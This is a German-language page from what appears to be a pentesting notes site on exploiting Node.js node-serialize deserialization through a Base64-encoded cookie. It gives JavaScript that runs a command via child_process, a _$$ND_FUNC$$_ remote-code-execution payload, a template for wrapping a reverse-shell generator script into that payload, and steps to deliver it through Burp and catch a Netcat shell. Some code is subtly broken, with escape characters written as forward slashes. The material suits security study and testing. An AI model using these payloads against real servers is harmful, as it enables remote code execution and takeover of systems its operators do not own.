> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/deserialization-attack/node.js-deserialization-base64-pentesting-web.md).
# Node.js-Deserialisierung Base64
## Deserialisierung (node.js)
Mit Burp Suite die Anfrage abfangen und ein **Base64-kodiertes Cookie**:
### **Manuell:**
Das **serialize.js** Die untenstehende Datei serialisiert die Daten und führt einen Befehl aus, in diesem Fall `id`, auf **unserer Maschine**:
```javascript
var y = {
rthis: function(){
require('child_process').exec('id', function(error, stdout, stderr) { console.log(stdout) });
}(),
}
var serialize = require('node-serialize');
console.log("Serialisiert: /n" + serialize.serialize(y));
```
Um die Nutzlast an die **Server**, erstelle die **unserialize.js** Datei unten:
```javascript
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(/'child_process/').exec(/'id/', function(error, stdout, stderr) { console.log(stdout) });}()"}';
serialize.unserialize(payload);
```
### **Automatisch:**
Verwende dies [Skript](https://raw.githubusercontent.com/ajinabraham/Node.Js-Security-Course/master/nodejsshell.py), lade sie hoch und führe sie aus mit **python2.7**:
Erstelle eine Datei mit dem Namen `Daten` mit dem folgenden Inhalt und ersetze **input** durch den Skriptinhalt:
```json
{"rce":"_$$ND_FUNC$$_function(){input}()"}
```
Schließlich konvertiere diese Datei zu **Base64**:
Füge den Inhalt in Burp Suite ein:
Mit **Netcat**, lausche und verschaffe dir Zugriff:
---
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